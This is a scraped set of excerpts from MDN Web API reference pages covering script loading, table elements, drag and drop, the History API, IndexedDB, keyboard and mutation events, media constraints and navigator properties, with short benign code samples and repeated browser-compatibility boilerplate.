...will be executed asynchronously as soon as it downloads. if the async attribute is absent but the defer attribute is present, then the script is executed when the page has finished parsing. if neither attribute is present, then the script is fetched and executed immediately, blocking further parsing of the page. the defer attribute may be specified with the async attribute, so legacy browsers that only support defer (and not async) fall back to the defer behavior instead of the default blocking behavior. note: the exact processing details for these attributes are complex, involving many different aspects of html, and therefore are scattered throughout the specification. these algorithms describe the core ideas, but they rely on the parsing rules for <script> start and end tags i...
...t (ignoring other nodes like comments) in tree order. on setting, it acts the same way as the textcontent idl attribute. note: when inserted using the document.write() method, <script> elements execute (typically synchronously), but when inserted using innerhtml or outerhtml, they do not execute at all. htmlscriptelement.nomodule is a boolean that if true, stops the script's execution in browsers that support es2015 modules — used to run fallback scripts in older browsers that do not support javascript modules. htmlscriptelement.referrerpolicy is a domstring that reflects the referrerpolicy html attribute indicating which referrer to use when fetching the script, and fetches done by that script. methods no specific methods; inherits methods from its parent, htmlelement. exampl...
HTMLTableCellElement - Web APIs
an unsigned long integer indicating the number of columns this cell must span; this lets the cell occupy space across multiple columns of the table. it reflects the colspan attribute. htmltablecellelement.headers read only is a domsettabletokenlist describing a list of id of <th> elements that represents headers associated with the cell. it reflects the headers attribute. htmltablecellelement.rowspan an unsigned long integer indicating the number of rows this cell must span; this lets a cell occupy space across multiple rows of the table. it reflects the rowspan attribute. htmltablecellelement.scope a domstring indicating the scope of a <th> cell. header cells can be configured, using the scope property, the apply to a specified row or column, or to the not-yet-scoped cells within the c...
...umn (or columns, if colspan is used as well), until either the end of the column or another <th> in the column establishes a new scope. colgroup the header cell applies to all cells in the current column group that do not already have a scope applied to them. this value is only allowed if the cell is in a column group. row the header cell applies to the following cells in the same row (or rows, if rowspan is used as well), until either the end of the row or another <th> in the same row establishes a new scope. rowgroup the header cell applies to all cells in the current row group that do not already have a scope applied to them. this value is only allowed if the cell is in a row group. the empty string ("") the header cell has no predefined scope; the user agent will establish ...
...t specification. living standard no change from html5. html5the definition of 'htmltablecellelement' in that specification. recommendation the following properties have been obsoleted: align, axis, bgcolor, height, width, ch, choff, nowrap, and valign. the headers property is now read-only and contains a domsettabletokenlist rather than a mere domstring. the colspan and rowspan properties are now unsigned long. document object model (dom) level 2 html specificationthe definition of 'htmltablecellelement' in that specification. obsolete the cellindex property is now read-only. document object model (dom) level 1 specificationthe definition of 'htmltablecellelement' in that specification. obsolete initial definition. ...
HTMLTableSectionElement - Web APIs
text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement. htmltablesectionelement.align is a domstring containing an enumerated value reflecting the align attribute. it indicates the alignment of the element's contents with respect to the surrounding context. the possible values are "left", "right", and "center". htmltablesectionelement.rows read only returns a live htmlcollection containing the rows in the section. the htmlcollection is live and is automatically updated when rows are added or removed. htmltablesectionelement.ch is a domstring containing one single chararcter. this character is the one to align all the cell of a column on. it reflects the char and default to the decimal points associated with the language, e.g.
...ntent of the cell must be vertically aligned. it reflects the valign attribute and can have one of the following values: "top", "middle", "bottom", or "baseline". methods inherits methods from its parent, htmlelement. htmltablesectionelement.deleterow() removes the cell at the given position in the section. ...
... specifications specification status comment html living standardthe definition of 'htmltablesectionelement' in that specification. living standard html5the definition of 'htmltablesectionelement' in that specification. ...
File drag and drop - Web APIs
e drop zone the target element of the drop event needs an ondrop global event handler. the following code snippet shows how this is done with a <div> element: <div id="drop_zone" ondrop="drophandler(event);"> <p>drag one or more files to this drop zone ...</p> </div> typically, an application will include a dragover event handler on the drop target element and that handler will turn off the browser's default drag behavior. to add this handler, you need to include a ondragover global event handler: <div id="drop_zone" ondrop="drophandler(event);" ondragover="dragoverhandler(event);"> <p>drag one or more files to this drop zone ...</p> </div> lastly, an application may want to style the drop target element to visually indicate the element is a drop zone. in this example, the drop targe...
... one or more files to this drop zone ...</p> </div> lastly, an application may want to style the drop target element to visually indicate the element is a drop zone. in this example, the drop target element uses the following styling: #drop_zone { border: 5px solid blue; width: 200px; height: 100px; } note that dragstart and dragend events are not fired when dragging a file into the browser from the os. process the drop the drop event is fired when the user drops the file(s). in the following drop handler, if the browser supports datatransferitemlist interface, the getasfile() method is used to access each file; otherwise the datatransfer interface's files property is used to access each file. this example shows how to write the name of each dragged file to the console. in a r...
....items[i].kind === 'file') { var file = ev.datatransfer.items[i].getasfile(); console.log('... file[' + i + '].name = ' + file.name); } } } else { // use datatransfer interface to access the file(s) for (var i = 0; i < ev.datatransfer.files.length; i++) { console.log('... file[' + i + '].name = ' + ev.datatransfer.files[i].name); } } } prevent the browser's default drag behavior the following dragover event handler calls preventdefault() to turn off the browser's default drag and drop handler. function dragoverhandler(ev) { console.log('file(s) in drop zone'); // prevent default behavior (prevent file from being opened) ev.preventdefault(); } see also html drag and drop api drag operations html5 living standard: drag and drop ...
History API - Web APIs
the dom window object provides access to the browser's session history (not to be confused for webextensions history) through the history object. it exposes useful methods and properties that let you navigate back and forth through the user's history, and manipulate the contents of the history stack. concepts and usage moving backward and forward through the user's history is done using the back(), forward(), and go() methods. moving forward and backward to move backward through history: window.history.back() this acts exactly as if the user clicked on the back button in their browser toolbar. similarly, you can move forward (as if the user clicked the forward button), like this: window.history.forward() moving to a specific point in history you can use the go() method to load a s...
... window.onpopstate = function(event) { alert(`location: ${document.location}...
...h property: let numberofentries = window.history.length interfaces history allows manipulation of the browser session history (that is, the pages visited in the tab or frame that the current page is loaded in). examples the following example assigns a listener to the onpopstate property. and then illustrates some of the methods of the history object to add, replace, and move within the browser history for the current tab. window.onpopstate = function(event) { alert(`location: ${document.location}, state: ${json.stringify(event.state)}`) } history.pushstate({page: 1}, "title 1", "?page=1") history.pushstate({page: 2}, "title 2", "?page=2") history.replacestate({page: 3}, "title 3", "?page=3") history.back() // alerts "location: http://example.com/example.html?page=1, state: {"page...
IDBDatabase.createObjectStore() - Web APIs
, the object store has a key generator. defaults to false. unknown parameters are ignored. returns a new idbobjectstore. exceptions this method may raise a domexception with a domerror of one of the following types: exception description invalidstateerror occurs if the method was not called from a versionchange transaction callback. for older webkit browsers, you must call first. transactioninactiveerror occurs if a request is made on a source database that doesn't exist (e.g. has been deleted or removed.) in firefox previous to version 41, an invalidstateerror was raised in this case as well, which was misleading; this has now been fixed (see bug 1176165.) constrainterror an object store with the given name (based on case...
... empty string or an array containing an empty string. example // let us open our database var request = window.indexeddb.open("todolist", 4); // this handler is called when a new version of the database // is created, either when one has not been created before // or when a new version number is submitted by calling // window.indexeddb.open(). // this handler is only supported in recent browsers. request.onupgradeneeded = function(event) { var db = event.target.result; db.onerror = function(event) { note.innerhtml += "<li>error loading database.</li>"; }; // create an objectstore for this database var objectstore = db.createobjectstore("todolist", { keypath: "tasktitle" }); // define what data items the objectstore will contain objectstore.createindex("hours", "...
... "notified", { unique: false }); note.innerhtml += "<li>object store created.</li>"; }; specification specification status comment indexed database api 2.0the definition of 'createobjectstore()' in that specification. recommendation indexed database api draftthe definition of 'createobjectstore()' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcreateobjectstorechrome...
IDBDatabaseException - Web APIs
s either not currently active or is already finished. unknown_err 1 the operation failed for reasons unrelated to the database itself, and it is not covered by any other error code--for example, a failure due to disk io errors. ver_err 12 a request to open a database with a version lower than the one it already has. this can only happen with idbopendbrequest. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetidbdatabaseexception dep...
...not for use in new websites.deprecated. not for use in new websites.requires a vendor prefix or different name for use.requires a vendor prefix or different name for use. ...
...not for use in new websites.deprecated. not for use in new websites.requires a vendor prefix or different name for use.requires a vendor prefix or different name for use. ...
IDBEnvironment - Web APIs
bilities of indexed databases; contains an idbfactory object. example the following code creates a request for a database to be opened asychronously, after which the database is opened when the request's onsuccess handler is fired: var db; function opendb() { var dbopenrequest = window.indexeddb.open("todolist"); dbopenrequest.onsuccess = function(e) { db = dbopenrequest.result; }; } browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetidbenvironment deprecat...
...not for use in new websites.deprecated. not for use in new websites.requires a vendor prefix or different name for use.requires a vendor prefix or different name for use. ...
...not for use in new websites.deprecated. not for use in new websites.requires a vendor prefix or different name for use.requires a vendor prefix or different name for use. ...
IDBIndex - Web APIs
Web › API › IDBIndex
hild(tablerow); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specification status comment indexed database api 2.0the definition of 'idbindex' in that specification. recommendation indexed database api draftthe definition of 'idbindex' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetidbindexchrome ...
... ...
...support no support no support compatibility unknown compatibility unknownexperimental. expect behavior to change in the future.experimental. expect behavior to change in the future.non-standard. expect poor cross-browser support.non-standard. expect poor cross-browser support.user must explicitly enable this feature.user must explicitly enable this feature.requires a vendor prefix or different name for use.requires a vendor prefix or different name for use. ...
IDBVersionChangeEvent.version - Web APIs
the version property of the idbversionchangeevent interface returns the new version of the database in a versionchange transaction. warning: while this property is still implemented in older browsers, the latest specification replaces it with the oldversion and newversion attributes. see the compatibility table to know what browsers support them. syntax readonly attribute unsigned long long? version; value a 64-bit integer. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on io...
...not for use in new websites.deprecated. not for use in new websites.requires a vendor prefix or different name for use.requires a vendor prefix or different name for use. ...
...not for use in new websites.deprecated. not for use in new websites.requires a vendor prefix or different name for use.requires a vendor prefix or different name for use. ...
IDBVersionChangeRequest - Web APIs
e setversion() method of idbdatabase. methods inherits from: idbrequest idbversionchangerequest.setversion updates the version of the database. returns immediately and runs a versionchange transaction on the connected database in a separate thread. attributes attribute type description onblocked function the event handler for the blocked event. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetidbversionchangerequest ...
...not for use in new websites.deprecated. not for use in new websites.requires a vendor prefix or different name for use.requires a vendor prefix or different name for use. ...
...not for use in new websites.deprecated. not for use in new websites.requires a vendor prefix or different name for use.requires a vendor prefix or different name for use. ...
KeyboardEvent - Web APIs
returns a boolean that is true if the event is fired between after compositionstart and before compositionend. keyboardevent.key read only returns a domstring representing the key value of the key represented by the event. keyboardevent.locale read only returns a domstring representing a locale string indicating the locale the keyboard is configured for. this may be the empty string if the browser or device doesn't know the keyboard's locale. note: this does not describe the locale of the data being entered. a user may be using one keyboard layout while typing text in a different language. keyboardevent.location read only returns a number representing the location of the key on the keyboard or other input device. a list of the constants identifying the locations is shown above in k...
...ws or mac depending on what the native event model does. note: manually firing an event does not generate the default action associated with that event. for example, manually firing a key event does not cause that letter to appear in a focused text input. in the case of ui events, this is important for security reasons, as it prevents scripts from simulating user actions that interact with the browser itself. example <!doctype html> <html> <head> <script> 'use strict'; document.addeventlistener('keydown', (event) => { const keyname = event.key; if (keyname === 'control') { // do not alert when only control key is pressed. return; } if (event.ctrlkey) { // even though event.key is not 'control' (e.g., 'a' is pressed), // event.ctrlkey may be true if ctrl key is pr...
...keyboardevent' in that specification. working draft the keyboardevent interface specification went through numerous draft versions, first under dom events level 2 where it was dropped as no consensus arose, then under dom events level 3. this led to the implementation of non-standard initialization methods, the early dom events level 2 version, keyboardevent.initkeyevent() by gecko browsers and the early dom events level 3 version, keyboardevent.initkeyboardevent() by others. both have been superseded by the modern usage of a constructor: keyboardevent(). ...
LocalFileSystemSync - Web APIs
equesting localfilesystemsync object from within a web worker. the global methods in the window object requestfilesystemsync() and resolvelocalfilesystemsyncurl() methods are exposed to the worker's global scope. calling window.requestfilesystemsync() for creates new storage for your web app. for more concepts, see the counterpart article for the asynchronous api. example //taking care of the browser-specific prefix window.requestfilesystemsync = window.requestfilesystemsync || window.webkitrequestfilesystemsync; // the first parameter defines the type of storage: persistent or temporary // next, set the size of space needed (in bytes) // initfs is the success callback // and the last one is the error callback // for denial of access and other errors. var fs = requestfilesystemsync(tempo...
...need success and error callbacks. method overview filesystemsync requestfilesystemsync (in unsigned short type, in long long size) raises fileexception; entrysync resolvelocalfilesystemsyncurl (in domstring url) raises fileexception; constants constant value description temporary 0 transient storage that can be be removed by the browser at its discretion. persistent 1 storage that stays in the browser unless the user or the app expunges it. methods requestfilesystemsync() requests a file system where data should be stored. you access a sandboxed file system by requesting a localfilesystemsync object from within a web worker using this global method, window.requestfilesystemsync(). [ research ] file...
...stem. exceptions this method can raise a fileexception with the following codes: exception description encoding_err the syntax of the url was invalid. not_found_err the url was structurally correct, but refers to a resource that does not exist. security_err the application does not have permission to access the file system interface. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. no compatibility data found. please contribute data for "api.localfilesystemsync" (depth: 1) to the mdn compatibility data repository. ...
Location - Web APIs
Web › API › Location
location.href is a stringifier that returns a usvstring containing the entire url. if changed, the associated document navigates to the new page. it can be set from a different origin than the associated document. location.protocol is a usvstring containing the protocol scheme of the url, including the final ':'. location...
...hat is the hostname, a ':', and the port of the url. location.hostname is a usvstring containing the domain of the url. location.port is a usvstring containing the port number of the url. location.pathname is a usvstring containing an initial '/' followed by the path of the url. location.search is a usvstring containing a '?' followed by the parameters or "querystring" of the url. modern browsers provide urlsearchparams and url.searchparams to make it easy to parse out the parameters from the querystring. location.hash is a usvstring containing a '#' followed by the fragment identifier of the url. location.origin read only returns a usvstring containing the canonical form of the origin of the specific location. methods location.assign() loads the resource at the url provided...
... not be saved in session history, meaning the user won't be able to use the back button to navigate to it. location.tostring() returns a usvstring containing the whole url. it is a synonym for htmlhyperlinkelementutils.href, though it can't be used to modify the value. ...
MSGestureEvent - Web APIs
gestureevent.initgestureevent() initializes the value of an msgestureevent. if the event has already being dispatched, this method does nothing. this method is deprecated as of microsoft edge. gesture event types msgesturestart msgestureend msgesturetap msgesturehold msgesturechange msinertiastart specifications not part of any specification. microsoft has a description on msdn. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetmsgestureevent non-stand...
... ...
... ...
MediaRecorder.ignoreMutedMedia - Web APIs
gnoremutedmedia property of the mediarecorder interface indicates whether the mediarecorder instance will record input, when the input mediastreamtrack is muted. if this attribute is false, mediarecorder will record silence for audio and black frames for video. the default is false. syntax var boolean = mediarecorder.ignoremutedmedia mediarecorder.ignoremutedmedia = boolean value a boolean. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetignoremutedmedia depreca...
...not for use in new websites.deprecated. not for use in new websites. ...
...not for use in new websites.deprecated. not for use in new websites. ...
MediaTrackConstraints.deviceId - Web APIs
ceid property is a constraindomstring describing the requested or mandatory constraints placed upon the value of the deviceid constrainable property. if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.deviceid as returned by a call to mediadevices.getsupportedconstraints(). however, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with. because rtp doesn't include this information, tracks associated with a webrtc rtcpeerconnection will never include this property. syntax var constraintsobject = { deviceid: constraint }; constraintsobject.deviceid = constraint; value an object based on constraindomstring specifying one or more acceptable, ideal, and/or exact (m...
...n will never include this property. syntax var constraintsobject = { deviceid: constraint }; constraintsobject.deviceid = constraint; value an object based on constraindomstring specifying one or more acceptable, ideal, and/or exact (mandatory) device ids which are acceptable as the source of media content. device ids are unique for a given origin, and are guaranteed to be the same across browsing sessions on the same origin. however, the value of the deviceid is determined by the source of the track's content, and there's no particular format mandated by the specification (although some kind of guid is recommended). that means that a given track will only return one value for the deviceid when you call getcapabilities(). because of this, there's no use for the device id when calling m...
...only return one value for the deviceid when you call getcapabilities(). because of this, there's no use for the device id when calling mediastreamtrack.applyconstraints(), since there is only one possible value; however, you can record a deviceid and use it to ensure that you get the same source for multiple calls to getusermedia(). an exception to the rule that device ids are the same across browsing sessions: private browsing mode will use a different id, and will change it each browsing session. example see example: constraint exerciser in capabilities, constraints, and settings for an example. specifications specification status comment media capture and streamsthe definition of 'deviceid' in that specification. candidate recommendation initial spe...
MediaTrackConstraints.groupId - Web APIs
roupid property is a constraindomstring describing the requested or mandatory constraints placed upon the value of the groupid constrainable property. if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.groupid as returned by a call to mediadevices.getsupportedconstraints(). however, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with. syntax var constraintsobject = { groupid: constraint }; constraintsobject.groupid = constraint; value an object based on constraindomstring specifying one or more acceptable, ideal, and/or exact (mandatory) group ids which are acceptable as the source of media content. group ids are unique for a given origin for the duration of...
...mply ignore any constraints they're unfamiliar with. syntax var constraintsobject = { groupid: constraint }; constraintsobject.groupid = constraint; value an object based on constraindomstring specifying one or more acceptable, ideal, and/or exact (mandatory) group ids which are acceptable as the source of media content. group ids are unique for a given origin for the duration of a single browsing session, and are shared by all media sources that come from the same physical device. for example, the microphone and speaker on the same headset would share a group id. this makes it possible to use the group id to ensure that the audio and input devices are on the same headset by retrieving the group id of the input device and specifying it when asking for an output device, perhaps. however...
... when asking for an output device, perhaps. however, the value of the groupid is determined by the source of the track's content, and there's no particular format mandated by the specification (although some kind of guid is recommended). that means that a given track will only return one value for the groupid when you call getcapabilities(), and keep in mind that this value will change for each browsing session. because of this, there's no use for the group id when calling mediastreamtrack.applyconstraints(), since there is only one possible value, and you can't use it to ensure the same group is used across multiple browsing sessions when calling getusermedia(). example see example: constraint exerciser in capabilities, constraints, and settings for an example. specifications s...
MediaTrackConstraints - Web APIs
ange of acceptable values, and/or a value which you'd like to be as close to as possible. the specifics vary somewhat depending on the type of the constrainable property. to learn more about how constraints work, see capabilities, constraints, and settings. properties some combination—but not necessarily all—of the following properties will exist on the object. this may be because a given browser doesn't support the property, or because it doesn't apply. for example, because rtp doesn't provide some of these values during negotiation of a webrtc connection, a track associated with a rtcpeerconnection will not include certain values, such as facingmode or groupid. properties of all media tracks deviceid a constraindomstring object specifying a device id or an array of device ids whi...
... as part of the displaymediastreamconstraints object's video property when using getdisplaymedia() to obtain a stream for screen sharing. cursor a constraindomstring which specifies whether or not to include the mouse cursor in the generated track, and if so, whether or not to hide it while not moving. the value may be a single one of the following strings, or an array of them to allow the browser flexibility in deciding what to do about the cursor. always the mouse is always visible in the video content of the {domxref("mediastream"), unless the mouse has moved outside the area of the content. motion the mouse cursor is always included in the video if it's moving, and for a short time after it stops moving. never the mouse cursor is never included in the shared video. ...
...is never included in the shared video. displaysurface a constraindomstring which specifies the types of display surface that may be selected by the user. this may be a single one of the following strings, or a list of them to allow multiple source surfaces: application the stream contains all of the windows of the application chosen by the user rendered into the one video track. browser the stream contains the contents of a single browser tab selected by the user. monitor the stream's video track contains the entire contents of one or more of the user's screens. window the stream contains a single window selected by the user for sharing. logicalsurface a constrainboolean value which may contain a single boolean value or a set of them, indicating whether or not ...
MediaTrackSettings.deviceId - Web APIs
the mediatracksettings dictionary's deviceid property is a domstring which uniquely identifies the source for the corresponding mediastreamtrack for the origin corresponding to the browsing session. this lets you determine what value was selected to comply with your specified constraints for this property's value as described in the mediatrackconstraints.deviceid property you provided when calling either getusermedia(). if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.deviceid as returned by a call to mediadevices.getsupportedconstraints(). however, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with. because rtp doesn't include this information, tracks associa...
... the actual value of the string, however, is determined by the source of the track, and there is no guarantee what form it will take, although the specification does recommend it be a guid. ...
...here is a one-to-one pairing of id with each source, all tracks with the same source will share the same id for any given origin, so mediastreamtrack.getcapabilities() will always return exactly one value for deviceid. that makes the device id not useful for any changes to constraints when calling mediastreamtrack.applyconstraints(). an exception to the rule that device ids are the same across browsing sessions: private browsing mode will use a different id, and will change it each browsing session. example see example: constraint exerciser in capabilities, constraints, and settings for an example. specifications specification status comment media capture and streamsthe definition of 'deviceid' in that specification. candidate recommendation initial spe...
MediaTrackSettings - Web APIs
t using applyconstraints(), and will adhere to the default constraints for any properties whose constraints haven't been changed, or whose customized constraints couldn't be matched. to learn more about how constraints and settings work, see capabilities, constraints, and settings. properties some or all of the following will be included in the object, either because it's not supported by the browser or because it's not available due to context. for example, because rtp doesn't provide some of these values during negotiation of a webrtc connection, a track associated with a rtcpeerconnection will not include certain values, such as facingmode or groupid. properties of all media tracks deviceid a domstring indicating the current value of the deviceid property. the device id is a origin-...
...perty. the device id is a origin-unique string identifying the source of the track; this is usually a guid. this value is specific to the source of the track's data and is not usable for setting constraints; it can, however, be used for initially selecting media when calling mediadevices.getusermedia(). groupid a domstring indicating the current value of the groupid property. the group id is a browsing session-unique string identifying the source group of the track. two devices (as identified by the deviceid) are considered part of the same group if they are from the same physical device. for instance, the audio input and output devices for the speaker and microphone built into a phone would share the same group id, since they're part of the same physical device. the microphone on a headset ...
...se cursor is always included in the video if it's moving, and for a short time after it stops moving. never the mouse cursor is never included in the shared video. displaysurface a domstring which specifies the type of source the track contains; one of: application the stream contains all of the windows of the application chosen by the user rendered into the one video track. browser the stream contains the contents of a single browser tab selected by the user. monitor the stream's video track contains the entire contents of one or more of the user's screens. window the stream contains a single window selected by the user for sharing. logicalsurface a boolean value which, if true, indicates that the video contained in the stream's video track contains a back...
Media Capabilities API - Web APIs
s configuration is ' + (result.supported ? '' : 'not ') + 'supported, ' + (result.smooth ? '' : 'not ') + 'smooth, and ' + (result.powerefficient ? '' : 'not ') + 'power efficient.') }) .catch(() => { console.log("decodinginfo error: " + contenttype) }); } media capabilities api concepts and usage there are a myriad of video and audio codecs. different browsers support different media types and new media types are always being developed. with the media capabilities api, developers can ensure each user is getting the best bitrate and storage savings for their browser, device, and os capabilities. whether a device uses hardware or software decoding impacts how smooth and power efficient the video decoding is and how efficient the playback will be. the...
... efficient the video decoding is and how efficient the playback will be. the media capabilities api enables determining which codecs are supported and how performant a media file will be both in terms of smoothness and power efficiency. the media capabilities api provide more powerful features than say mediarecorder.istypesupported() or htmlmediaelement.canplaytype(), which only address general browser support, not performance. the api also provides abilities to access display property information such as supported color gamut, dynamic range abilities, and real-time feedback about the playback. to test support, smoothness and power efficiency of a video or audio file, you define the media configuration you want to test, and then pass the audio or video configuration as the parameter of the ...
...apabilities interface's encodinginfo() and decodinginfo() methods. media capabilities information enables websites to enable adaptative streaming to alter the quality of content based on actual user-perceived quality, and react to a pick of cpu/gpu usage in real time. media capabilities interfaces mediacapabilities provides information about the decoding abilities of the device, system and browser based on codecs, profile, resolution, and bitrates. the information can be used to serve optimal media streams to the user and determine if playback should be smooth and power efficient . mediacapabilitiesinfo the interface of the promise returned by the mediacapabilities's encodinginfo() and decodinginfo() methods; returning whether the media configuration tested is supported, smooth, a...
Metadata.modificationTime - Web APIs
fileentry.getmetadata(function(metadata) { if ((new date().getfullyear() - metadata.modificationtime.getfullyear()) >= 5) { fileentry.remove(function() { workingdirectory.getfile("tmp/workfile.json", { create: true }, function(newentry) { fileentry = newentry; }); }); } }); }, handleerror); this api has no official w3c or whatwg specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetmodificationtime experim...
... ...
... ...
Metadata.size - Web APIs
Web › API › Metadata › size
log file and removes it if it's larger than a megabyte. workingdirectory.getfile("log/important.log", {}, function(fileentry) { fileentry.getmetadata(function(metadata) { if (metadata.size > 1048576) { fileentry.remove(function() { /* log file removed; do something clever here */ }); } }); }, handleerror); this api has no official w3c or whatwg specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsize experimentalnon-sta...
... ...
... ...
Metadata - Web APIs
Web › API › Metadata
perties modificationtime read only a date object indicating the date and time the entry was modified. size read only a 64-bit unsigned integer indicating the size of the entry in bytes. specifications specification status comment file and directory entries api draft draft of proposed api this api has no official w3c or whatwg specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetmetadata experimentalno...
... ...
... ...
MutationEvent - Web APIs
specification, as the api's design is flawed (see details in the "dom mutation events replacement: the story so far / existing points of consensus" post to public-webapps). mutation observers are the proposed replacement for mutation events in dom4. they are expected to be included in firefox 14 and chrome 18. ...
...ion events are performance issues and cross-browser support. performance adding dom mutation listeners to a document profoundly degrades the performance of further dom modifications to that document (making them 1.5 - 7 times slower!). moreover, removing the listeners does not reverse the damage. the performance effect is limited to the documents that have the mutation event listeners. cross-browser support these events are not implemented consistently across different browsers, for example: ie prior to version 9 didn't support the mutation events at all and does not implement some of them correctly in version 9 (for example, domnodeinserted) webkit doesn't support domattrmodified (see webkit bug 8191 and the workaround) "mutation name events", i.e. domelementnamechanged and domattri...
... example: ie prior to version 9 didn't support the mutation events at all and does not implement some of them correctly in version 9 (for example, domnodeinserted) webkit doesn't support domattrmodified (see webkit bug 8191 and the workaround) "mutation name events", i.e. domelementnamechanged and domattributenamechanged are not supported in firefox (as of version 11), and probably in other browsers as well. ... dottoro documents browser support for mutation events. mutation events list the following is a list of all mutation events, as defined in dom level 3 events specification: domattrmodified domattributenamechanged domcharacterdatamodified domelementnamechanged domnodeinserted domnodeinsertedintodocument domnoderemoved domnoderemovedfromdocument domsubtreemodified u...
NavigatorID.appName - Web APIs
syntax appname = navigator.appname value the string "netscape". ...
... syntax appname = navigator.appname value the string "netscape". ...
... syntax appname = navigator.appname value the string "netscape". ...
Navigator.onLine - Web APIs
returns the online status of the browser. the property returns a boolean value, with true meaning online and false meaning offline. the property sends updates whenever the browser's ability to connect to the network changes. the update occurs when the user follows links or when a script requests a remote page. for example, the property should return false when users click links soon after they lose internet connection. browsers implement this property differently. in chrome and safari, if the browser is not able to connect to a local area network (lan) or a router, it is offline; all other conditions return true. so while you can assume that the browser is offline when it returns a false value, you cannot assume that a true value necessarily means that the browser can access the internet. y...
... that the browser is offline when it returns a false value, you cannot assume that a true value necessarily means that the browser can access the internet. you could be getting false positives, such as in cases where the computer is running a virtualization software that has virtual ethernet adapters that are always "connected." therefore, if you really want to determine the online status of the browser, you should develop additional means for checking. to learn more, see the html5 rocks article, working off the grid. in firefox and internet explorer, switching the browser to offline mode sends a false value. until firefox 41, all other conditions return a true value; testing actual behavior on nightly 68 on windows shows that it only looks for lan connection like chrome and safari giving fa...
...anges in the network state by listening for the events on window.ononline and window.onoffline. syntax online = window.navigator.online; value online is a boolean true or false. example view a live example. to check if you are online, query window.navigator.online, as in the following example: if (navigator.online) { console.log('online'); } else { console.log('offline'); } if the browser doesn't support navigator.online the above example will always come out as false/undefined. to see changes in the network state, use addeventlistener to listen for the events on window.online and window.offline, as in the following example: window.addeventlistener('offline', function(e) { console.log('offline'); }); window.addeventlistener('online', function(e) { console.log('online'); }); ...
NavigatorPlugins.javaEnabled() - Web APIs
specifications specification status comment html living standardthe definition of 'navigatorplugins.javaenabled' in that specification. ...
... specifications specification status comment html living standardthe definition of 'navigatorplugins.javaenabled' in that specification. ...
... specifications specification status comment html living standardthe definition of 'navigatorplugins.javaenabled' in that specification. ...
NavigatorPlugins.plugins - Web APIs
returns a pluginarray object, listing the plugin objects describing the plugins installed in the application. in firefox 29 and later, enumeration of the navigator.plugins array may be restricted as a privacy measure. applications that must check for the presence of a browser plugin should query navigator.plugins or navigator.mimetypes by exact name instead of enumerating the navigator.plugins array and comparing every plugin's name. this privacy change does not disable any plugins; it just hides some plugin names from enumeration. syntax var plugins = navigator.plugins; plugins is pluginarray object used to access plugin objects either by name or as a list of items. the returned value is not a javascript array, but has the length property and supports accessing individual items using...
... specifications specification status comment html living standardthe definition of 'navigatorplugins.plugins' in that specification. living standard initial definition. ...
... specifications specification status comment html living standardthe definition of 'navigatorplugins.plugins' in that specification. living standard initial definition. ...
NodeList.prototype.forEach() - Web APIs
Web › API › NodeList › forEach
